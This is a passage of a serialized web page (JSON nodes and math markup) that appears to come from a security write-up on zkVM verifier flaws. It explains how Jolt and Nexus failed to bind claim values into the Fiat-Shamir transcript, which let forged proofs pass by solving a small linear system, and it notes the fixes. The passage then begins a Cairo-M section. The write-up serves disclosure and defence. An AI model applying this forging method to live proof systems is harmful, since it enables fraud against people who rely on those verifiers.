",{"type":23,"tag":92,"props":116131,"children":116133},{"className":116132},[1183,1184],[116134],{"type":23,"tag":134,"props":116135,"children":116137},{"className":116136},[1189],[116138],{"type":23,"tag":134,"props":116139,"children":116141},{"className":116140,"ariaHidden":1195},[1194],[116142,116168,116194,116220],{"type":23,"tag":134,"props":116143,"children":116145},{"className":116144},[1200],[116146,116150,116155,116159,116164],{"type":23,"tag":134,"props":116147,"children":116149},{"className":116148,"style":114642},[1205],[],{"type":23,"tag":134,"props":116151,"children":116153},{"className":116152},[1211,21066],[116154],{"type":28,"value":31},{"type":23,"tag":134,"props":116156,"children":116158},{"className":116157,"style":1293},[1292],[],{"type":23,"tag":134,"props":116160,"children":116162},{"className":116161},[1298],[116163],{"type":28,"value":110821},{"type":23,"tag":134,"props":116165,"children":116167},{"className":116166,"style":1293},[1292],[],{"type":23,"tag":134,"props":116169,"children":116171},{"className":116170},[1200],[116172,116176,116181,116185,116190],{"type":23,"tag":134,"props":116173,"children":116175},{"className":116174,"style":114671},[1205],[],{"type":23,"tag":134,"props":116177,"children":116179},{"className":116178,"style":92793},[1211,21066],[116180],{"type":28,"value":92796},{"type":23,"tag":134,"props":116182,"children":116184},{"className":116183,"style":1293},[1292],[],{"type":23,"tag":134,"props":116186,"children":116188},{"className":116187},[1298],[116189],{"type":28,"value":1586},{"type":23,"tag":134,"props":116191,"children":116193},{"className":116192,"style":1293},[1292],[],{"type":23,"tag":134,"props":116195,"children":116197},{"className":116196},[1200],[116198,116202,116207,116211,116216],{"type":23,"tag":134,"props":116199,"children":116201},{"className":116200,"style":92474},[1205],[],{"type":23,"tag":134,"props":116203,"children":116205},{"className":116204},[1211,21066],[116206],{"type":28,"value":393},{"type":23,"tag":134,"props":116208,"children":116210},{"className":116209,"style":1390},[1292],[],{"type":23,"tag":134,"props":116212,"children":116214},{"className":116213},[1395],[116215],{"type":28,"value":257},{"type":23,"tag":134,"props":116217,"children":116219},{"className":116218,"style":1390},[1292],[],{"type":23,"tag":134,"props":116221,"children":116223},{"className":116222},[1200],[116224,116228,116237,116242],{"type":23,"tag":134,"props":116225,"children":116227},{"className":116226,"style":93972},[1205],[],{"type":23,"tag":134,"props":116229,"children":116231},{"className":116230},[1211,28],[116232],{"type":23,"tag":134,"props":116233,"children":116235},{"className":116234},[1211],[116236],{"type":28,"value":116113},{"type":23,"tag":134,"props":116238,"children":116240},{"className":116239,"style":92559},[1211],[116241],{"type":28,"value":247},{"type":23,"tag":134,"props":116243,"children":116245},{"className":116244},[1211,28],[116246],{"type":23,"tag":134,"props":116247,"children":116249},{"className":116248},[1211],[116250],{"type":28,"value":37046},{"type":28,"value":720},{"type":23,"tag":24,"props":116253,"children":116254},{},[116255],{"type":28,"value":116256},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":116258,"children":116259},{},[116260],{"type":28,"value":116261},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":116263,"children":116264},{},[116265,116270,116272],{"type":23,"tag":2532,"props":116266,"children":116267},{},[116268],{"type":28,"value":116269},"Status:",{"type":28,"value":116271}," Fixed on October 3, 2025 via ",{"type":23,"tag":31,"props":116273,"children":116276},{"href":116274,"rel":116275},"https://github.com/a16z/jolt/pull/981",[35],[116277],{"type":28,"value":116278},"PR #981",{"type":23,"tag":18268,"props":116280,"children":116281},{},[],{"type":23,"tag":9072,"props":116283,"children":116285},{"id":116284},"nexus",[116286],{"type":28,"value":107378},{"type":23,"tag":24,"props":116288,"children":116289},{},[116290],{"type":28,"value":116291},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":116293,"children":116294},{},[116295,116297,116302],{"type":28,"value":116296},"Nexus splits verification into ",{"type":23,"tag":2532,"props":116298,"children":116299},{},[116300],{"type":28,"value":116301},"components",{"type":28,"value":116303}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":116305,"children":116306},{},[116307,116309,116314],{"type":28,"value":116308},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":92,"props":116310,"children":116312},{"className":116311},[],[116313],{"type":28,"value":114423},{"type":28,"value":116315}," summarizes its net contribution:",{"type":23,"tag":24,"props":116317,"children":116318},{},[116319],{"type":23,"tag":92,"props":116320,"children":116322},{"className":116321},[1183,1184],[116323],{"type":23,"tag":134,"props":116324,"children":116326},{"className":116325},[1189],[116327],{"type":23,"tag":134,"props":116328,"children":116330},{"className":116329,"ariaHidden":1195},[1194],[116331,116427,116676],{"type":23,"tag":134,"props":116332,"children":116334},{"className":116333},[1200],[116335,116339,116348,116353,116414,116418,116423],{"type":23,"tag":134,"props":116336,"children":116338},{"className":116337,"style":93972},[1205],[],{"type":23,"tag":134,"props":116340,"children":116342},{"className":116341},[1211,28],[116343],{"type":23,"tag":134,"props":116344,"children":116346},{"className":116345},[1211],[116347],{"type":28,"value":113652},{"type":23,"tag":134,"props":116349,"children":116351},{"className":116350,"style":92559},[1211],[116352],{"type":28,"value":247},{"type":23,"tag":134,"props":116354,"children":116356},{"className":116355},[1211],[116357,116366],{"type":23,"tag":134,"props":116358,"children":116360},{"className":116359},[1211,28],[116361],{"type":23,"tag":134,"props":116362,"children":116364},{"className":116363},[1211],[116365],{"type":28,"value":76144},{"type":23,"tag":134,"props":116367,"children":116369},{"className":116368},[1228],[116370],{"type":23,"tag":134,"props":116371,"children":116373},{"className":116372},[1233,21120],[116374,116403],{"type":23,"tag":134,"props":116375,"children":116377},{"className":116376},[1238],[116378,116398],{"type":23,"tag":134,"props":116379,"children":116381},{"className":116380,"style":93088},[1243],[116382],{"type":23,"tag":134,"props":116383,"children":116384},{"style":113689},[116385,116389],{"type":23,"tag":134,"props":116386,"children":116388},{"className":116387,"style":1253},[1252],[],{"type":23,"tag":134,"props":116390,"children":116392},{"className":116391},[1258,1259,1260,1261],[116393],{"type":23,"tag":134,"props":116394,"children":116396},{"className":116395},[1211,21066,1261],[116397],{"type":28,"value":929},{"type":23,"tag":134,"props":116399,"children":116401},{"className":116400},[21223],[116402],{"type":28,"value":21226},{"type":23,"tag":134,"props":116404,"children":116406},{"className":116405},[1238],[116407],{"type":23,"tag":134,"props":116408,"children":116410},{"className":116409,"style":92642},[1243],[116411],{"type":23,"tag":134,"props":116412,"children":116413},{},[],{"type":23,"tag":134,"props":116415,"children":116417},{"className":116416,"style":1390},[1292],[],{"type":23,"tag":134,"props":116419,"children":116421},{"className":116420},[1395],[116422],{"type":28,"value":257},{"type":23,"tag":134,"props":116424,"children":116426},{"className":116425,"style":1390},[1292],[],{"type":23,"tag":134,"props":116428,"children":116430},{"className":116429},[1200],[116431,116436,116493,116497,116663,116667,116672],{"type":23,"tag":134,"props":116432,"children":116435},{"className":116433,"style":116434},[1205],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":134,"props":116437,"children":116439},{"className":116438},[21102],[116440,116445],{"type":23,"tag":134,"props":116441,"children":116443},{"className":116442,"style":21109},[21102,21107,21108],[116444],{"type":28,"value":108354},{"type":23,"tag":134,"props":116446,"children":116448},{"className":116447},[1228],[116449],{"type":23,"tag":134,"props":116450,"children":116452},{"className":116451},[1233,21120],[116453,116482],{"type":23,"tag":134,"props":116454,"children":116456},{"className":116455},[1238],[116457,116477],{"type":23,"tag":134,"props":116458,"children":116460},{"className":116459,"style":113766},[1243],[116461],{"type":23,"tag":134,"props":116462,"children":116463},{"style":21133},[116464,116468],{"type":23,"tag":134,"props":116465,"children":116467},{"className":116466,"style":1253},[1252],[],{"type":23,"tag":134,"props":116469,"children":116471},{"className":116470},[1258,1259,1260,1261],[116472],{"type":23,"tag":134,"props":116473,"children":116475},{"className":116474,"style":113782},[1211,21066,1261],[116476],{"type":28,"value":8116},{"type":23,"tag":134,"props":116478,"children":116480},{"className":116479},[21223],[116481],{"type":28,"value":21226},{"type":23,"tag":134,"props":116483,"children":116485},{"className":116484},[1238],[116486],{"type":23,"tag":134,"props":116487,"children":116489},{"className":116488,"style":113797},[1243],[116490],{"type":23,"tag":134,"props":116491,"children":116492},{},[],{"type":23,"tag":134,"props":116494,"children":116496},{"className":116495,"style":1331},[1292],[],{"type":23,"tag":134,"props":116498,"children":116500},{"className":116499},[1211],[116501,116505,116659],{"type":23,"tag":134,"props":116502,"children":116504},{"className":116503},[21195,113077],[],{"type":23,"tag":134,"props":116506,"children":116508},{"className":116507},[113082],[116509],{"type":23,"tag":134,"props":116510,"children":116512},{"className":116511},[1233,21120],[116513,116647],{"type":23,"tag":134,"props":116514,"children":116516},{"className":116515},[1238],[116517,116642],{"type":23,"tag":134,"props":116518,"children":116520},{"className":116519,"style":113095},[1243],[116521,116611,116622],{"type":23,"tag":134,"props":116522,"children":116523},{"style":113099},[116524,116528],{"type":23,"tag":134,"props":116525,"children":116527},{"className":116526,"style":111730},[1252],[],{"type":23,"tag":134,"props":116529,"children":116531},{"className":116530},[1258,1259,1260,1261],[116532],{"type":23,"tag":134,"props":116533,"children":116535},{"className":116534},[1211,1261],[116536,116541,116546],{"type":23,"tag":134,"props":116537,"children":116539},{"className":116538,"style":113116},[1211,21066,1261],[116540],{"type":28,"value":113119},{"type":23,"tag":134,"props":116542,"children":116544},{"className":116543},[1298,1261],[116545],{"type":28,"value":1272},{"type":23,"tag":134,"props":116547,"children":116549},{"className":116548},[1211,1261],[116550,116560],{"type":23,"tag":134,"props":116551,"children":116553},{"className":116552},[1211,28,1261],[116554],{"type":23,"tag":134,"props":116555,"children":116557},{"className":116556},[1211,1261],[116558],{"type":28,"value":116559},"produced",{"type":23,"tag":134,"props":116561,"children":116563},{"className":116562},[1228],[116564],{"type":23,"tag":134,"props":116565,"children":116567},{"className":116566},[1233,21120],[116568,116599],{"type":23,"tag":134,"props":116569,"children":116571},{"className":116570},[1238],[116572,116594],{"type":23,"tag":134,"props":116573,"children":116576},{"className":116574,"style":116575},[1243],"height:0.2052em;",[116577],{"type":23,"tag":134,"props":116578,"children":116580},{"style":116579},"top:-2.2341em;margin-right:0.0714em;",[116581,116585],{"type":23,"tag":134,"props":116582,"children":116584},{"className":116583,"style":108419},[1252],[],{"type":23,"tag":134,"props":116586,"children":116588},{"className":116587},[1258,108424,108425,1261],[116589],{"type":23,"tag":134,"props":116590,"children":116592},{"className":116591,"style":113782},[1211,21066,1261],[116593],{"type":28,"value":8116},{"type":23,"tag":134,"props":116595,"children":116597},{"className":116596},[21223],[116598],{"type":28,"value":21226},{"type":23,"tag":134,"props":116600,"children":116602},{"className":116601},[1238],[116603],{"type":23,"tag":134,"props":116604,"children":116607},{"className":116605,"style":116606},[1243],"height:0.4048em;",[116608],{"type":23,"tag":134,"props":116609,"children":116610},{},[],{"type":23,"tag":134,"props":116612,"children":116613},{"style":113132},[116614,116618],{"type":23,"tag":134,"props":116615,"children":116617},{"className":116616,"style":111730},[1252],[],{"type":23,"tag":134,"props":116619,"children":116621},{"className":116620,"style":113142},[113141],[],{"type":23,"tag":134,"props":116623,"children":116624},{"style":113146},[116625,116629],{"type":23,"tag":134,"props":116626,"children":116628},{"className":116627,"style":111730},[1252],[],{"type":23,"tag":134,"props":116630,"children":116632},{"className":116631},[1258,1259,1260,1261],[116633],{"type":23,"tag":134,"props":116634,"children":116636},{"className":116635},[1211,1261],[116637],{"type":23,"tag":134,"props":116638,"children":116640},{"className":116639},[1211,1261],[116641],{"type":28,"value":1214},{"type":23,"tag":134,"props":116643,"children":116645},{"className":116644},[21223],[116646],{"type":28,"value":21226},{"type":23,"tag":134,"props":116648,"children":116650},{"className":116649},[1238],[116651],{"type":23,"tag":134,"props":116652,"children":116655},{"className":116653,"style":116654},[1243],"height:0.6283em;",[116656],{"type":23,"tag":134,"props":116657,"children":116658},{},[],{"type":23,"tag":134,"props":116660,"children":116662},{"className":116661},[21217,113077],[],{"type":23,"tag":134,"props":116664,"children":116666},{"className":116665,"style":1293},[1292],[],{"type":23,"tag":134,"props":116668,"children":116670},{"className":116669},[1298],[116671],{"type":28,"value":1272},{"type":23,"tag":134,"props":116673,"children":116675},{"className":116674,"style":1293},[1292],[],{"type":23,"tag":134,"props":116677,"children":116679},{"className":116678},[1200],[116680,116684,116741,116745],{"type":23,"tag":134,"props":116681,"children":116683},{"className":116682,"style":113991},[1205],[],{"type":23,"tag":134,"props":116685,"children":116687},{"className":116686},[21102],[116688,116693],{"type":23,"tag":134,"props":116689,"children":116691},{"className":116690,"style":21109},[21102,21107,21108],[116692],{"type":28,"value":108354},{"type":23,"tag":134,"props":116694,"children":116696},{"className":116695},[1228],[116697],{"type":23,"tag":134,"props":116698,"children":116700},{"className":116699},[1233,21120],[116701,116730],{"type":23,"tag":134,"props":116702,"children":116704},{"className":116703},[1238],[116705,116725],{"type":23,"tag":134,"props":116706,"children":116708},{"className":116707,"style":113231},[1243],[116709],{"type":23,"tag":134,"props":116710,"children":116711},{"style":21133},[116712,116716],{"type":23,"tag":134,"props":116713,"children":116715},{"className":116714,"style":1253},[1252],[],{"type":23,"tag":134,"props":116717,"children":116719},{"className":116718},[1258,1259,1260,1261],[116720],{"type":23,"tag":134,"props":116721,"children":116723},{"className":116722,"style":93988},[1211,21066,1261],[116724],{"type":28,"value":88196},{"type":23,"tag":134,"props":116726,"children":116728},{"className":116727},[21223],[116729],{"type":28,"value":21226},{"type":23,"tag":134,"props":116731,"children":116733},{"className":116732},[1238],[116734],{"type":23,"tag":134,"props":116735,"children":116737},{"className":116736,"style":114046},[1243],[116738],{"type":23,"tag":134,"props":116739,"children":116740},{},[],{"type":23,"tag":134,"props":116742,"children":116744},{"className":116743,"style":1331},[1292],[],{"type":23,"tag":134,"props":116746,"children":116748},{"className":116747},[1211],[116749,116753,116903],{"type":23,"tag":134,"props":116750,"children":116752},{"className":116751},[21195,113077],[],{"type":23,"tag":134,"props":116754,"children":116756},{"className":116755},[113082],[116757],{"type":23,"tag":134,"props":116758,"children":116760},{"className":116759},[1233,21120],[116761,116892],{"type":23,"tag":134,"props":116762,"children":116764},{"className":116763},[1238],[116765,116887],{"type":23,"tag":134,"props":116766,"children":116768},{"className":116767,"style":113095},[1243],[116769,116856,116867],{"type":23,"tag":134,"props":116770,"children":116771},{"style":113099},[116772,116776],{"type":23,"tag":134,"props":116773,"children":116775},{"className":116774,"style":111730},[1252],[],{"type":23,"tag":134,"props":116777,"children":116779},{"className":116778},[1258,1259,1260,1261],[116780],{"type":23,"tag":134,"props":116781,"children":116783},{"className":116782},[1211,1261],[116784,116789,116794],{"type":23,"tag":134,"props":116785,"children":116787},{"className":116786,"style":113116},[1211,21066,1261],[116788],{"type":28,"value":113119},{"type":23,"tag":134,"props":116790,"children":116792},{"className":116791},[1298,1261],[116793],{"type":28,"value":1272},{"type":23,"tag":134,"props":116795,"children":116797},{"className":116796},[1211,1261],[116798,116808],{"type":23,"tag":134,"props":116799,"children":116801},{"className":116800},[1211,28,1261],[116802],{"type":23,"tag":134,"props":116803,"children":116805},{"className":116804},[1211,1261],[116806],{"type":28,"value":116807},"consumed",{"type":23,"tag":134,"props":116809,"children":116811},{"className":116810},[1228],[116812],{"type":23,"tag":134,"props":116813,"children":116815},{"className":116814},[1233,21120],[116816,116845],{"type":23,"tag":134,"props":116817,"children":116819},{"className":116818},[1238],[116820,116840],{"type":23,"tag":134,"props":116821,"children":116823},{"className":116822,"style":111891},[1243],[116824],{"type":23,"tag":134,"props":116825,"children":116826},{"style":114136},[116827,116831],{"type":23,"tag":134,"props":116828,"children":116830},{"className":116829,"style":108419},[1252],[],{"type":23,"tag":134,"props":116832,"children":116834},{"className":116833},[1258,108424,108425,1261],[116835],{"type":23,"tag":134,"props":116836,"children":116838},{"className":116837,"style":93988},[1211,21066,1261],[116839],{"type":28,"value":88196},{"type":23,"tag":134,"props":116841,"children":116843},{"className":116842},[21223],[116844],{"type":28,"value":21226},{"type":23,"tag":134,"props":116846,"children":116848},{"className":116847},[1238],[116849],{"type":23,"tag":134,"props":116850,"children":116852},{"className":116851,"style":114163},[1243],[116853],{"type":23,"tag":134,"props":116854,"children":116855},{},[],{"type":23,"tag":134,"props":116857,"children":116858},{"style":113132},[116859,116863],{"type":23,"tag":134,"props":116860,"children":116862},{"className":116861,"style":111730},[1252],[],{"type":23,"tag":134,"props":116864,"children":116866},{"className":116865,"style":113142},[113141],[],{"type":23,"tag":134,"props":116868,"children":116869},{"style":113146},[116870,116874],{"type":23,"tag":134,"props":116871,"children":116873},{"className":116872,"style":111730},[1252],[],{"type":23,"tag":134,"props":116875,"children":116877},{"className":116876},[1258,1259,1260,1261],[116878],{"type":23,"tag":134,"props":116879,"children":116881},{"className":116880},[1211,1261],[116882],{"type":23,"tag":134,"props":116883,"children":116885},{"className":116884},[1211,1261],[116886],{"type":28,"value":1214},{"type":23,"tag":134,"props":116888,"children":116890},{"className":116889},[21223],[116891],{"type":28,"value":21226},{"type":23,"tag":134,"props":116893,"children":116895},{"className":116894},[1238],[116896],{"type":23,"tag":134,"props":116897,"children":116899},{"className":116898,"style":114211},[1243],[116900],{"type":23,"tag":134,"props":116901,"children":116902},{},[],{"type":23,"tag":134,"props":116904,"children":116906},{"className":116905},[21217,113077],[],{"type":23,"tag":24,"props":116908,"children":116909},{},[116910,116912,116917],{"type":28,"value":116911},"All ",{"type":23,"tag":92,"props":116913,"children":116915},{"className":116914},[],[116916],{"type":28,"value":114423},{"type":28,"value":116918}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":116920,"children":116921},{},[116922,116924,116929],{"type":28,"value":116923},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":2532,"props":116925,"children":116926},{},[116927],{"type":28,"value":116928},"OODS (Out-of-Domain Sampling)",{"type":28,"value":116930}," test.",{"type":23,"tag":24,"props":116932,"children":116933},{},[116934],{"type":23,"tag":2532,"props":116935,"children":116936},{},[116937],{"type":28,"value":114975},{"type":23,"tag":87,"props":116939,"children":116941},{"code":116940},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[116942],{"type":23,"tag":92,"props":116943,"children":116944},{"__ignoreMap":7},[116945],{"type":28,"value":116940},{"type":23,"tag":24,"props":116947,"children":116948},{},[116949,116951,116956],{"type":28,"value":116950},"The",{"type":23,"tag":92,"props":116952,"children":116954},{"className":116953},[],[116955],{"type":28,"value":114423},{"type":28,"value":116957}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":116959,"children":116960},{},[116961],{"type":23,"tag":1116,"props":116962,"children":116965},{"alt":116963,"src":116964},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":116967,"children":116968},{},[116969,116971,116980],{"type":28,"value":116970},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":2532,"props":116972,"children":116973},{},[116974,116975],{"type":28,"value":111430},{"type":23,"tag":92,"props":116976,"children":116978},{"className":116977},[],[116979],{"type":28,"value":114423},{"type":28,"value":1697},{"type":23,"tag":24,"props":116982,"children":116983},{},[116984],{"type":28,"value":116985},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":116987,"children":116988},{},[116989],{"type":23,"tag":92,"props":116990,"children":116992},{"className":116991},[1183,1184],[116993],{"type":23,"tag":134,"props":116994,"children":116996},{"className":116995},[1189],[116997],{"type":23,"tag":134,"props":116998,"children":117000},{"className":116999,"ariaHidden":1195},[1194],[117001,117042,117181],{"type":23,"tag":134,"props":117002,"children":117004},{"className":117003},[1200],[117005,117009,117014,117019,117024,117029,117033,117038],{"type":23,"tag":134,"props":117006,"children":117008},{"className":117007,"style":1313},[1205],[],{"type":23,"tag":134,"props":117010,"children":117012},{"className":117011,"style":21598},[1211,21066],[117013],{"type":28,"value":115788},{"type":23,"tag":134,"props":117015,"children":117017},{"className":117016},[21195],[117018],{"type":28,"value":272},{"type":23,"tag":134,"props":117020,"children":117022},{"className":117021},[1211,21066],[117023],{"type":28,"value":18752},{"type":23,"tag":134,"props":117025,"children":117027},{"className":117026},[21217],[117028],{"type":28,"value":296},{"type":23,"tag":134,"props":117030,"children":117032},{"className":117031,"style":1390},[1292],[],{"type":23,"tag":134,"props":117034,"children":117036},{"className":117035},[1395],[117037],{"type":28,"value":257},{"type":23,"tag":134,"props":117039,"children":117041},{"className":117040,"style":1390},[1292],[],{"type":23,"tag":134,"props":117043,"children":117045},{"className":117044},[1200],[117046,117050,117107,117111,117168,117172,117177],{"type":23,"tag":134,"props":117047,"children":117049},{"className":117048,"style":115192},[1205],[],{"type":23,"tag":134,"props":117051,"children":117053},{"className":117052},[21102],[117054,117059],{"type":23,"tag":134,"props":117055,"children":117057},{"className":117056,"style":21109},[21102,21107,21108],[117058],{"type":28,"value":108354},{"type":23,"tag":134,"props":117060,"children":117062},{"className":117061},[1228],[117063],{"type":23,"tag":134,"props":117064,"children":117066},{"className":117065},[1233,21120],[117067,117096],{"type":23,"tag":134,"props":117068,"children":117070},{"className":117069},[1238],[117071,117091],{"type":23,"tag":134,"props":117072,"children":117074},{"className":117073,"style":113766},[1243],[117075],{"type":23,"tag":134,"props":117076,"children":117077},{"style":21133},[117078,117082],{"type":23,"tag":134,"props":117079,"children":117081},{"className":117080,"style":1253},[1252],[],{"type":23,"tag":134,"props":117083,"children":117085},{"className":117084},[1258,1259,1260,1261],[117086],{"type":23,"tag":134,"props":117087,"children":117089},{"className":117088},[1211,21066,1261],[117090],{"type":28,"value":929},{"type":23,"tag":134,"props":117092,"children":117094},{"className":117093},[21223],[117095],{"type":28,"value":21226},{"type":23,"tag":134,"props":117097,"children":117099},{"className":117098},[1238],[117100],{"type":23,"tag":134,"props":117101,"children":117103},{"className":117102,"style":114046},[1243],[117104],{"type":23,"tag":134,"props":117105,"children":117106},{},[],{"type":23,"tag":134,"props":117108,"children":117110},{"className":117109,"style":1331},[1292],[],{"type":23,"tag":134,"props":117112,"children":117114},{"className":117113},[1211],[117115,117120],{"type":23,"tag":134,"props":117116,"children":117118},{"className":117117,"style":114647},[1211,21066],[117119],{"type":28,"value":114650},{"type":23,"tag":134,"props":117121,"children":117123},{"className":117122},[1228],[117124],{"type":23,"tag":134,"props":117125,"children":117127},{"className":117126},[1233,21120],[117128,117157],{"type":23,"tag":134,"props":117129,"children":117131},{"className":117130},[1238],[117132,117152],{"type":23,"tag":134,"props":117133,"children":117135},{"className":117134,"style":93088},[1243],[117136],{"type":23,"tag":134,"props":117137,"children":117138},{"style":115282},[117139,117143],{"type":23,"tag":134,"props":117140,"children":117142},{"className":117141,"style":1253},[1252],[],{"type":23,"tag":134,"props":117144,"children":117146},{"className":117145},[1258,1259,1260,1261],[117147],{"type":23,"tag":134,"props":117148,"children":117150},{"className":117149},[1211,21066,1261],[117151],{"type":28,"value":929},{"type":23,"tag":134,"props":117153,"children":117155},{"className":117154},[21223],[117156],{"type":28,"value":21226},{"type":23,"tag":134,"props":117158,"children":117160},{"className":117159},[1238],[117161],{"type":23,"tag":134,"props":117162,"children":117164},{"className":117163,"style":92642},[1243],[117165],{"type":23,"tag":134,"props":117166,"children":117167},{},[],{"type":23,"tag":134,"props":117169,"children":117171},{"className":117170,"style":1293},[1292],[],{"type":23,"tag":134,"props":117173,"children":117175},{"className":117174},[1298],[117176],{"type":28,"value":110821},{"type":23,"tag":134,"props":117178,"children":117180},{"className":117179,"style":1293},[1292],[],{"type":23,"tag":134,"props":117182,"children":117184},{"className":117183},[1200],[117185,117189,117251,117256,117261],{"type":23,"tag":134,"props":117186,"children":117188},{"className":117187,"style":1313},[1205],[],{"type":23,"tag":134,"props":117190,"children":117192},{"className":117191},[1211],[117193,117203],{"type":23,"tag":134,"props":117194,"children":117196},{"className":117195},[1211,28],[117197],{"type":23,"tag":134,"props":117198,"children":117200},{"className":117199},[1211],[117201],{"type":28,"value":117202},"constraint",{"type":23,"tag":134,"props":117204,"children":117206},{"className":117205},[1228],[117207],{"type":23,"tag":134,"props":117208,"children":117210},{"className":117209},[1233,21120],[117211,117240],{"type":23,"tag":134,"props":117212,"children":117214},{"className":117213},[1238],[117215,117235],{"type":23,"tag":134,"props":117216,"children":117218},{"className":117217,"style":93088},[1243],[117219],{"type":23,"tag":134,"props":117220,"children":117221},{"style":113689},[117222,117226],{"type":23,"tag":134,"props":117223,"children":117225},{"className":117224,"style":1253},[1252],[],{"type":23,"tag":134,"props":117227,"children":117229},{"className":117228},[1258,1259,1260,1261],[117230],{"type":23,"tag":134,"props":117231,"children":117233},{"className":117232},[1211,21066,1261],[117234],{"type":28,"value":929},{"type":23,"tag":134,"props":117236,"children":117238},{"className":117237},[21223],[117239],{"type":28,"value":21226},{"type":23,"tag":134,"props":117241,"children":117243},{"className":117242},[1238],[117244],{"type":23,"tag":134,"props":117245,"children":117247},{"className":117246,"style":92642},[1243],[117248],{"type":23,"tag":134,"props":117249,"children":117250},{},[],{"type":23,"tag":134,"props":117252,"children":117254},{"className":117253},[21195],[117255],{"type":28,"value":272},{"type":23,"tag":134,"props":117257,"children":117259},{"className":117258},[1211,21066],[117260],{"type":28,"value":18752},{"type":23,"tag":134,"props":117262,"children":117264},{"className":117263},[21217],[117265],{"type":28,"value":296},{"type":23,"tag":24,"props":117267,"children":117268},{},[117269,117271,117276,117278,117283],{"type":28,"value":117270},"Since each constraint is linear in its ",{"type":23,"tag":92,"props":117272,"children":117274},{"className":117273},[],[117275],{"type":28,"value":114423},{"type":28,"value":117277},", the overall composition polynomial is linear in all ",{"type":23,"tag":92,"props":117279,"children":117281},{"className":117280},[],[117282],{"type":28,"value":114423},{"type":28,"value":117284}," values.",{"type":23,"tag":24,"props":117286,"children":117287},{},[117288,117290],{"type":28,"value":117289},"The verifier checks ",{"type":23,"tag":92,"props":117291,"children":117293},{"className":117292},[1183,1184],[117294],{"type":23,"tag":134,"props":117295,"children":117297},{"className":117296},[1189],[117298],{"type":23,"tag":134,"props":117299,"children":117301},{"className":117300,"ariaHidden":1195},[1194],[117302,117363],{"type":23,"tag":134,"props":117303,"children":117305},{"className":117304},[1200],[117306,117310,117315,117320,117330,117335,117345,117350,117354,117359],{"type":23,"tag":134,"props":117307,"children":117309},{"className":117308,"style":92501},[1205],[],{"type":23,"tag":134,"props":117311,"children":117313},{"className":117312,"style":21598},[1211,21066],[117314],{"type":28,"value":115788},{"type":23,"tag":134,"props":117316,"children":117318},{"className":117317},[21195],[117319],{"type":28,"value":272},{"type":23,"tag":134,"props":117321,"children":117323},{"className":117322},[1211,28],[117324],{"type":23,"tag":134,"props":117325,"children":117327},{"className":117326},[1211],[117328],{"type":28,"value":117329},"oods",{"type":23,"tag":134,"props":117331,"children":117333},{"className":117332,"style":92559},[1211],[117334],{"type":28,"value":247},{"type":23,"tag":134,"props":117336,"children":117338},{"className":117337},[1211,28],[117339],{"type":23,"tag":134,"props":117340,"children":117342},{"className":117341},[1211],[117343],{"type":28,"value":117344},"point",{"type":23,"tag":134,"props":117346,"children":117348},{"className":117347},[21217],[117349],{"type":28,"value":296},{"type":23,"tag":134,"props":117351,"children":117353},{"className":117352,"style":1390},[1292],[],{"type":23,"tag":134,"props":117355,"children":117357},{"className":117356},[1395],[117358],{"type":28,"value":257},{"type":23,"tag":134,"props":117360,"children":117362},{"className":117361,"style":1390},[1292],[],{"type":23,"tag":134,"props":117364,"children":117366},{"className":117365},[1200],[117367,117371],{"type":23,"tag":134,"props":117368,"children":117370},{"className":117369,"style":114614},[1205],[],{"type":23,"tag":134,"props":117372,"children":117374},{"className":117373},[1211,28],[117375],{"type":23,"tag":134,"props":117376,"children":117378},{"className":117377},[1211],[117379],{"type":28,"value":116113},{"type":23,"tag":24,"props":117381,"children":117382},{},[117383,117385,117390,117392,117397],{"type":28,"value":117384},"With ",{"type":23,"tag":92,"props":117386,"children":117388},{"className":117387},[],[117389],{"type":28,"value":114423},{"type":28,"value":117391}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":92,"props":117393,"children":117395},{"className":117394},[],[117396],{"type":28,"value":114423},{"type":28,"value":117398}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":117400,"children":117401},{},[117402,117406,117408],{"type":23,"tag":2532,"props":117403,"children":117404},{},[117405],{"type":28,"value":116269},{"type":28,"value":117407}," Fixed on October 24, 2025 via ",{"type":23,"tag":31,"props":117409,"children":117412},{"href":117410,"rel":117411},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[35],[117413],{"type":28,"value":117414},"PR #503",{"type":23,"tag":18268,"props":117416,"children":117417},{},[],{"type":23,"tag":9072,"props":117419,"children":117421},{"id":117420},"cairo-m-kakarot-labs",[117422],{"type":28,"value":117423},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":117425,"children":117426},{},[117427],{"type":28,"value":117428},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":117430,"children":117431},{},[117432],{"type":28,"value":117433},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":117435,"children":117436},{},[117437],{"type":23,"tag":2532,"props":117438,"children":117439},{},[117440],{"type":28,"value":114975},{"type":23,"tag":87,"props":117442,"children":117444},{"code":117443},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        